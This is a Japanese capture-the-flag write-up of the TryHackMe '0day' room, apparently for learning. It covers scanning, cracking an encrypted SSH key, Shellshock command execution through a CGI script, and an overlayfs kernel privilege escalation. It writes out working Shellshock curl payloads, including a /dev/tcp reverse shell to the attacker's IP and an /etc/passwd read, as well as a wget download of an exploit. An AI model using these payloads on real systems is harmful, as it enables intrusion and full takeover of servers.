はじめに
この記事は、TryHackMeのwriteupです。
Roomは、0day、Difficulty(難易度)はMediumです。
このRoomでは、Ubuntu(Linux)における基本的なBoot2Root手法について学ぶことができます。
Recon
Port Scan
Scanned at 2026-05-10 15:22:25 JST for 12s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 57:20:82:3c:62:aa:8f:42:23:c0:b8:93:99:6f:49:9c (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAPcMQIfRe52VJuHcnjPyvMcVKYWsaPnADsmH+FR4OyR5lMSURXSzS15nxjcXEd3i9jk14amEDTZr1zsapV1Ke2Of/n6V5KYoB7p7w0HnFuMriUSWStmwRZCjkO/LQJkMgrlz1zVjrDEANm3fwjg0I7Ht1/gOeZYEtIl9DRqRzc1ZAAAAFQChwhLtInglVHlWwgAYbni33wUAfwAAAIAcFv6QZL7T2NzBsBuq0RtlFux0SAPYY2l+PwHZQMtRYko94NUv/XUaSN9dPrVKdbDk4ZeTHWO5H6P0t8LruN/18iPqvz0OKHQCgc50zE0pTDTS+GdO4kp3CBSumqsYc4nZsK+lyuUmeEPGKmcU6zlT03oARnYA6wozFZggJCUG4QAAAIBQKMkRtPhl3pXLhXzzlSJsbmwY6bNRTbJebGBx6VNSV3imwPXLR8VYEmw3O2Zpdei6qQlt6f2S3GaSSUBXe78h000/JdckRk6A73LFUxSYdXl1wCiz0TltSogHGYV9CxHDUHAvfIs5QwRAYVkmMe2H+HSBc3tKeHJEECNkqM2Qiw==
| 2048 4c:40:db:32:64:0d:11:0c:ef:4f:b8:5b:73:9b:c7:6b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwY8CfRqdJ+C17QnSu2hTDhmFODmq1UTBu3ctj47tH/uBpRBCTvput1+++BhyvexQbNZ6zKL1MeDq0bVAGlWZrHdw73LCSA1e6GrGieXnbLbuRm3bfdBWc4CGPItmRHzw5dc2MwO492ps0B7vdxz3N38aUbbvcNOmNJjEWsS86E25LIvCqY3txD+Qrv8+W+Hqi9ysbeitb5MNwd/4iy21qwtagdi1DMjuo0dckzvcYqZCT7DaToBTT77Jlxj23mlbDAcSrb4uVCE538BGyiQ2wgXYhXpGKdtpnJEhSYISd7dqm6pnEkJXSwoDnSbUiMCT+ya7yhcNYW3SKYxUTQzIV
| 256 f7:6f:78:d5:83:52:a6:4d:da:21:3c:55:47:b7:2d:6d (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKF5YbiHxYqQ7XbHoh600yn8M69wYPnLVAb4lEASOGH6l7+irKU5qraViqgVR06I8kRznLAOw6bqO2EqB8EBx+E=
| 256 a5:b4:f0:84:b6:a7:8d:eb:0a:9d:3e:74:37:33:65:16 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIItaO2Q/3nOu5T16taNBbx5NqcWNAbOkTZHD2TB1FcVg
80/tcp open http syn-ack ttl 62 Apache httpd 2.4.7 ((Ubuntu))
|_http-title: 0day
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
上記のポートスキャン結果から公開されているPoCはDoSしか無さそうです。
実際に、HTTPのURLにアクセスすると、0dayと表示されたポートフォリオサイトにアクセスできます。
Scanning
Gobusterを用いて、ディレクトリ探索を行います。
┌──(rikuxx㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]/
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 283]
.htaccess (Status: 403) [Size: 288]
.htpasswd (Status: 403) [Size: 288]
admin (Status: 301) [Size: 311] [--> http://[target_ip]/admin/]
backup (Status: 301) [Size: 312] [--> http://[target_ip]/backup/]
cgi-bin (Status: 301) [Size: 313] [--> http://[target_ip]/cgi-bin/]
cgi-bin/ (Status: 403) [Size: 287]
css (Status: 301) [Size: 309] [--> http://[target_ip]/css/]
img (Status: 301) [Size: 309] [--> http://[target_ip]/img/]
index.html (Status: 200) [Size: 3025]
js (Status: 301) [Size: 308] [--> http://[target_ip]/js/]
robots.txt (Status: 200) [Size: 38]
secret (Status: 301) [Size: 312] [--> http://[target_ip]/secret/]
server-status (Status: 403) [Size: 292]
uploads (Status: 301) [Size: 313] [--> http://[target_ip]/uploads/]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
これらから、/secret、/imgの写真に対して、隠しファイルや文字列があるかを調べましたが何もありません。
http://[target_ip]/backupにアクセスすると、なんとRSAの秘密鍵が入っています。
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED DEK-Info:
AES-128-CBC,82823EE792E75948EE2DE731AF1A0547
T7+F+3ilm5FcFZx24mnrugMY455vI461ziMb4NYk9YJV5uwcrx4QflP2Q2Vk8phx H4P+PLb79nCc0SrBOPBlB0V3pjLJbf2hKbZazFLtq4FjZq66aLLIr2dRw74MzHSM FznFI7jsxYFwPUqZtkz5sTcX1afch+IU5/Id4zTTsCO8qqs6qv5QkMXVGs77F2kS Lafx0mJdcuu/5aR3NjNVtluKZyiXInskXiC01+Ynhkqjl4Iy7fEzn2qZnKKPVPv8 9zlECjERSysbUKYccnFknB1DwuJExD/erGRiLBYOGuMatc+EoagKkGpSZm4FtcIO IrwxeyChI32vJs9W93PUqHMgCJGXEpY7/INMUQahDf3wnlVhBC10UWH9piIOupNN SkjSbrIxOgWJhIcpE9BLVUE4ndAMi3t05MY1U0ko7/vvhzndeZcWhVJ3SdcIAx4g /5D/YqcLtt/tKbLyuyggk23NzuspnbUwZWoo5fvg+jEgRud90s4dDWMEURGdB2Wt w7uYJFhjijw8tw8WwaPHHQeYtHgrtwhmC/gLj1gxAq532QAgmXGoazXd3IeFRtGB 6+HLDl8VRDz1/4iZhafDC2gihKeWOjmLh83QqKwa4s1XIB6BKPZS/OgyM4RMnN3u Zmv1rDPL+0yzt6A5BHENXfkNfFWRWQxvKtiGlSLmywPP5OHnv0mzb16QG0Es1FPl xhVyHt/WKlaVZfTdrJneTn8Uu3vZ82MFf+evbdMPZMx9Xc3Ix7/hFeIxCdoMN4i6 8BoZFQBcoJaOufnLkTC0hHxN7T/t/QvcaIsWSFWdgwwnYFaJncHeEj7d1hnmsAii b79Dfy384/lnjZMtX1NXIEghzQj5ga8TFnHe8umDNx5Cq5GpYN1BUtfWFYqtkGcn vzLSJM07RAgqA+SPAY8lCnXe8gN+Nv/9+/+/uiefeFtOmrpDU2kRfr9JhZYx9TkL wTqOP0XWjqufWNEIXXIpwXFctpZaEQcC40LpbBGTDiVWTQyx8AuI6YOfIt+k64fG rtfjWPVv3yGOJmiqQOa8/pDGgtNPgnJmFFrBy2d37KzSoNpTlXmeT/drkeTaP6YW RTz8Ieg+fmVtsgQelZQ44mhy0vE48o92Kxj3uAB6jZp8jxgACpcNBt3isg7H/dq6 oYiTtCJrL3IctTrEuBW8gE37UbSRqTuj9Foy+ynGmNPx5HQeC5aO/GoeSH0FelTk cQKiDDxHq7mLMJZJO0oqdJfs6Jt/JO4gzdBh3Jt0gBoKnXMVY7P5u8da/4sV+kJE 99x7Dh8YXnj1As2gY+MMQHVuvCpnwRR7XLmK8Fj3TZU+WHK5P6W5fLK7u3MVt1eq Ezf26lghbnEUn17KKu+VQ6EdIPL150HSks5V+2fC8JTQ1fl3rI9vowPPuC8aNj+Q Qu5m65A5Urmr8Y01/Wjqn2wC7upxzt6hNBIMbcNrndZkg80feKZ8RD7wE7Exll2h v3SBMMCT5ZrBFq54ia0ohThQ8hklPqYhdSebkQtU5HPYh+EL/vU1L9PfGv0zipst gbLFOSPp+GmklnRpihaXaGYXsoKfXvAxGCVIhbaWLAp5AybIiXHyBWsbhbSRMK+P
-----END RSA PRIVATE KEY-----
これをコピーし、id_rsaというファイルを作成します。そして、書き込み権限と読み出し権限を許可します。
$ chmod 755 id_rsa
そして、SSH接続可能かを試みました。しかし、ユーザー名はわからないので、いくつか試しても、ダメそうです。
ssh -i id_rsa Ryan or Montgomery or 0day@ホスト名
Exploitation
そこで、John the Ripperを用いて、RSAの秘密鍵の解読を一度、試みました。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ ssh2john id_rsa > id_rsa.hash
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt ./id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[CRACKED_PASSWORD] (id_rsa)
1g 0:00:00:00 DONE (2026-05-10 15:48) 100.0g/s 57600p/s 57600c/s 57600C/s teiubesc..parola
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
パスワードの解読に成功しました。
これをもとに、この解読したパスワードが正しいのかを検証し、再度、秘密鍵を発行します。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ openssl rsa -in id_rsa.fixed -out id_rsa.decrypted
Enter pass phrase for id_rsa.fixed:
writing RSA key
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ chmod 600 id_rsa.decrypted
再度、解読したパスワードとid_rsa.decryptedを用いて、SSH接続を試みますが、違うようです。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ ssh -i id_rsa.decrypted ryan@[target_ip]
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
sign_and_send_pubkey: no mutual signature supported
ryan@[target_ip] 's password:
Permission denied, please try again.
ryan@[target_ip] 's password:
また、hydraで無理やりブルートフォース攻撃しても無理そうです。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ hydra -l ryan -P /usr/share/wordlists/rockyou.txt [target_ip] ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-10 15:58:48
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.48.191.62:22/
[STATUS] 276.00 tries/min, 276 tries in 00:01h, 14344126 to do in 866:12h, 13 active
[STATUS] 263.67 tries/min, 791 tries in 00:03h, 14343611 to do in 906:41h, 13 active
^Z
zsh: suspended hydra -l ryan -P /usr/share/wordlists/rockyou.txt [target_ip] ssh
ここで、アプローチを変えます。
重要なフォルダっぽい/adminや/backup、/cgi-binで何かしらの隠しファイルがないかを調べることにします。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]/admin
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]/admin
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 289]
.htaccess (Status: 403) [Size: 294]
.htpasswd (Status: 403) [Size: 294]
index.html (Status: 200) [Size: 0]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://[target_ip]/backup
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]/backup
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 290]
.htaccess (Status: 403) [Size: 295]
.htpasswd (Status: 403) [Size: 295]
index.html (Status: 200) [Size: 1767]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ gobuster dir -u http://[target_ip]/cgi-bin/ -w /usr/share/wordlists/dirb/common.txt -x sh,cgi
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://[target_ip]/cgi-bin/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: cgi,sh
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta.sh (Status: 403) [Size: 294]
.htaccess (Status: 403) [Size: 296]
.hta.cgi (Status: 403) [Size: 295]
.hta (Status: 403) [Size: 291]
.htpasswd.sh (Status: 403) [Size: 299]
.htaccess.cgi (Status: 403) [Size: 300]
.htaccess.sh (Status: 403) [Size: 299]
.htpasswd (Status: 403) [Size: 296]
.htpasswd.cgi (Status: 403) [Size: 300]
test.cgi (Status: 200) [Size: 13]
Progress: 13839 / 13839 (100.00%)
===============================================================
Finished
===============================================================
すると、http://[target_ip]/cgi-bin/の中にtest.cgiというファイルがあることに気づきます。
ここで、ShellshockというBashの脆弱性について疑うことが重要です。/cgi-bin/test.cgiが存在する場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列と任意のコマンドを埋め込んで実行できる可能性があります。
実際に任意のコマンドが実行可能かを検証します。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ curl -H "User-Agent: () { :; }; echo; /usr/bin/id" http://[target_ip]/cgi-bin/test.cgi | head -n 1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
すると、なんと任意のコマンドが実行できていることが確認できます。
リバースシェルを実行します。
- リッスン側
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
- リバースシェルを実行する側
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ curl -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/[MY_IP]/4444 0>&1" http://[target_ip]/cgi-bin/test.cgi
リバースシェルを実行することに成功しました。
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [MY_IP] from (UNKNOWN) [target_ip] 54829
bash: cannot set terminal process group (867): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$ python3 -c "import pty;pty.spawn('/bin/bash')"
<i-bin$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/usr/lib/cgi-bin$
/home/ryanの中に、user.txtがあるため、ここでuserフラグを取得することができます。
www-data@ubuntu:/home/ryan$ cat user.txt
cat user.txt
THM{XXXXXXXXXXXXXXXX}
www-data@ubuntu:/home/ryan$
user.txt
THM{XXXXXXXXXXXXXXXX}
Privilege Escalation
sudo -lにより、sudo経由でrootのシェルを実行できそうなプログラムを探しますが、そもそもパスワード認証があるため、無理そうです。
www-data@ubuntu:/home/ryan$ sudo -l
sudo -l
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
[sudo] password for www-data:
Sorry, try again.
sudo: 3 incorrect password attempts
ここで、Shellshock脆弱性もあったことから、OSバージョンを見ることでもしかしたら権限昇格できるようなPoCがあるかもしれないと考え、uname -aで見てみることにしました。
www-data@ubuntu:/home/ryan$ uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
すると、OverlayfsにLocal Privilege Escalation脆弱性を利用できるPoCが公開されていることが確認できます。
そこで、実際にダウンロード後、ターゲットサーバーで実行を試みます。
- 攻撃者側
┌──(rikuxx㉿kali)-[~/tryhackme/0day]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
- ターゲットサーバー側
www-data@ubuntu:/home/ryan$ cd /tmp
cd /tmp
www-data@ubuntu:/tmp$ wget http://[MY_IP]/37292.c
wget http://[MY_IP]/37292.c
--2026-05-10 00:28:40-- http://[MY_IP]/37292.c
Connecting to 192.168.160.200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/x-csrc]
Saving to: '37292.c'
100%[======================================>] 5,119 --.-K/s in 0.002s
2026-05-10 00:28:41 (3.06 MB/s) - '37292.c' saved [5119/5119]
www-data@ubuntu:/tmp$
コンパイルエラーが起きないようにgccのパスを修正します。
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ダウンロードした37292.cをexploitというプログラムにコンパイルします。
www-data@ubuntu:/tmp$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
<t PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
www-data@ubuntu:/tmp$ gcc 37292.c -o exploit
gcc 37292.c -o exploit
www-data@ubuntu:/tmp$
www-data@ubuntu:/tmp$ ls
ls
37292.c exploit
www-data@ubuntu:/tmp$
exploitを実行します。
www-data@ubuntu:/tmp$ ./exploit
./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
#
実際に権限昇格に成功しました。
/rootに移動すると、root.txtというテキストファイルがあり、そこにはrootフラグがあります。
# pwd
pwd
/root
# ls
ls
root.txt
# cat root.txt
cat root.txt
THM{YYYYYYYYYYYYYYYYY}
#
root.txt
Answer: THM{YYYYYYYYYYYYYYYYY}
終わり
今回は、0dayさんという、かつてTryHackMeの世界トップランカー(現在は2位)だった方が作ったラボについて解きました。普通なら秘密鍵で騙されそうだけど、Shellshock脆弱性でエクスプロイトする攻撃シナリオはややこしくもなく、面白いなと思いました。
少し遊び心もありそうなので、やってみることをおすすめします。
Tips
Shellshock脆弱性とは?
かつてあったbashの脆弱性のことです。/cgi-bin/test.cgiが存在する場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できます。
- サーバ側で
cat /etc/passwdを実行させる例
curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込むことができます。
$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名 or IPアドレス/cgi-bin/test.cgi
もちろん、これが成立するということはリバースシェルも貼ったり、C2サーバーとも通信し放題にできるわけです。怖いですよね
- 参考文献
